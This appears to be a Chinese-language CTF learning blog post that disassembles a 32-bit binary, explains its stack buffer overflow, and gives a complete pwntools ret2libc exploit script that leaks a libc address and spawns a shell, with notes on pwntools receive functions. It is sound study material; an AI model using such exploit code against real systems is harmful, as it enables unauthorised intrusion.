从负开始学汇编1

Author Avatar
Aryb1n 7月 23, 2017

续集

直接把main函数所有代码亮出来

=> 0x8048594:    push   ebp
   0x8048595:    mov    ebp,esp
   0x8048597:    and    esp,0xfffffff0
   0x804859a:    sub    esp,0x10
   0x804859d:    mov    DWORD PTR [esp],0x1
   0x80485a4:    call   0x8048400 

   0x80485a9:    mov    eax,ds:0x804a044
   0x80485ae:    mov    DWORD PTR [esp+0x4],0x0
   0x80485b6:    mov    DWORD PTR [esp],eax
   0x80485b9:    call   0x80483e0 

   0x80485be:    mov    eax,ds:0x804a060
   0x80485c3:    mov    DWORD PTR [esp+0x4],0x0
   0x80485cb:    mov    DWORD PTR [esp],eax
   0x80485ce:    call   0x80483e0 

   0x80485d3:    mov    eax,ds:0x804a040
   0x80485d8:    mov    DWORD PTR [esp+0x4],0x0
   0x80485e0:    mov    DWORD PTR [esp],eax
   0x80485e3:    call   0x80483e0 

   0x80485e8:    mov    DWORD PTR [esp],0x8048690
   0x80485ef:    call   0x8048410 

   0x80485f4:    call   0x804854d
   0x80485f9:    mov    eax,0x0
   0x80485fe:    leave  
   0x80485ff:    ret

程序大体就是

alarm(1) => setbuf(stdin, 0) => sefbuf(stdout, 0) => setbuf(stderr, 0) => sub_804854d()

这个前面没什么hack点,我们跳到sub_804854d里面

   0x804854d:    push   ebp
   0x804854e:    mov    ebp,esp
   0x8048550:    sub    esp,0x98
   0x8048556:    mov    DWORD PTR [esp+0x8],0x100    ;0x100
   0x804855e:    lea    eax,[ebp-0x88]   ; buffer_addr
   0x8048564:    mov    DWORD PTR [esp+0x4],eax
   0x8048568:    mov    DWORD PTR [esp],0x0  ; 0x0
   0x804856f:    call   0x80483f0  ; read(0, [ebp -0x88], 0x100)

   0x8048574:    mov    DWORD PTR [esp+0x8],0x100 ;0x100
   0x804857c:    lea    eax,[ebp-0x88]   
   0x8048582:    mov    DWORD PTR [esp+0x4],eax  ; buffer_addr
   0x8048586:    mov    DWORD PTR [esp],0x1  ; 0x1
   0x804858d:    call   0x8048440     ; write(1, [ebp - 0x88], 0x100)

   0x8048592:    leave  ; mov esp, ebp; pop ebp
   0x8048593:    ret

这里先把栈抬高了0x98,靠近栈顶esp的0x10个用来放等下要调用readwrite的三个形参(3* 4 = 0x10), 靠近栈基的0x88个字节作为缓冲区,这个时候read第三个参数是0x100 > 0x88这就造成了后面的栈溢出

我们checksec的结果是,只开启了NX,数据段不可执行,所以我们可以使用ret2libc
我们的思路是利用read栈溢出,覆盖sub_804854d的返回地址,让他指向<write@plt>,就可以调用write来打印出内存中glibc某个函数的地址,以后来后面通过偏移算出system/bin/sh在内存中的位置,然后让<write@plt>再次返回到sub_804854d,这一次我们就可以在此栈溢出,并返回到system('/bin/sh')

   read(0, &buf, 0x100); // => 写入内容大概是 'A' * 0x88 + 'BBBB' + <write@plt> + ret_addr_of_write + arg1 + arg2 + arg3
=> write(1, <write@got>, 0x4); // => get到加载好的glibc中的write地址, 参数就是上面的arg1~3
=> sub_804854d  // 就是上面填好的ret_addr_of_write
=> read(0, &buf, 0x100); // => 写入内容大概是 'A' * 0x88 + 'BBBB' + system + ret_addr_of_system + /bin/sh
=> system('/bin/sh')

这个再注意一下,想调用某个库函数只要传入<xxx@plt>就可以了,只有要算偏移的时候,要得到库函数具体加载位置才必须要使用<xxx@got>

写payload

遇到了好多问题,就是recv,recvline的问题,等会说

#encoding: utf8
from pwn import *

debug = 0

elf = ELF('pwn1')
libc = ELF('libc.so')

if debug == 1:
    p = process('./pwn1')
#    context.terminal = ['gnome-terminal','-x','sh','-c']
#    gdb.attach(p)
else:
    p = remote('127.0.0.1', 6666)


plt_write = elf.symbols['write']
print 'plt_write=' + hex(plt_write)
got_write = elf.got['write']
print 'got_write=' + hex(got_write)

vuln_addr = 0x0804854d
buffer_len = 0x88

payload1  = ''
payload1 += 'A' * buffer_len 
payload1 += 'BBBB' # ebp

payload1 += p32(plt_write)  # ret_addr
payload1 += p32(vuln_addr)   # write ret to vuln_function

#args of write
payload1 += p32(1)
payload1 += p32(got_write)
payload1 += p32(4)


p.send(payload1)

# 坑点在这里,原题目使用了一次puts,puts是自带换行的,必须用p.recvline()
p.recvline()

# 你要先接受0x100字节的输出,是来自write(1, buf, 0x100)
# 你虽然read没写这么多数据,但他会write这么多,开始这里就错了
p.recv(0x100)

# 这个时候才可以接收
resp = p.recv(4)
write_addr = u32(resp)
print 'write_addr=' + hex(write_addr)

# 计算偏移地址
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
sh_addr     = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')) )

payload2  = ''
payload2 += 'A' * buffer_len 
payload2 += 'BBBB' # ebp
payload2 += p32(system_addr)  # ret_addr

payload2 += p32(vuln_addr)   # 起来shell后返回到哪里已经不重要了,这里可以瞎填
payload2 += p32(sh_addr) # arg of system

p.send(payload2)

p.interactive()

第一个问题就是p.recv全系列

recv(numb = 4096, timeout = default) → str
Receives up to numb bytes of data from the tube, and returns as soon as any quantity of data is available.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string (‘’) is returned.
如果达不到n个字节那将什么都得不到,那要是我的numb设置的太小呢

recvline(keepends = True) → str
A “line” is any sequence of bytes terminated by the byte sequence set in newline, which defaults to ‘\n’.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string (‘’) is returned.
如果返回的数据没有\n那用了recvline讲什么都得不到,而不是得到一部分

recvuntil(delims, timeout = default) → str
Receive data until one of delims is encountered.
If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string (‘’) is returned.

注意:all data is buffered

第二个问题是题目三次setbuf,就像原来自己写的程序,用到的输入输出函数,只有在遇到换行或者xxx情况才刷新缓冲区,这里不需要,所以这里的给read上payload的时候只要p.send(payload)就可以了,而不需要p.sendline(payload)是这个原因吗

第三个问题是题目开了alarm(1), 1s后程序就会exited on signal 14,这个手根本没办法,所以把最后几行改成

...
p.send(payload2)

p.sendline("ls")
print p.recvline()

p.interactive()

这里用了p.sendline(),是和命令行交互的时候,还是不太懂要不要line

gdb常用操作

start 启动程序,并且停在main的第一句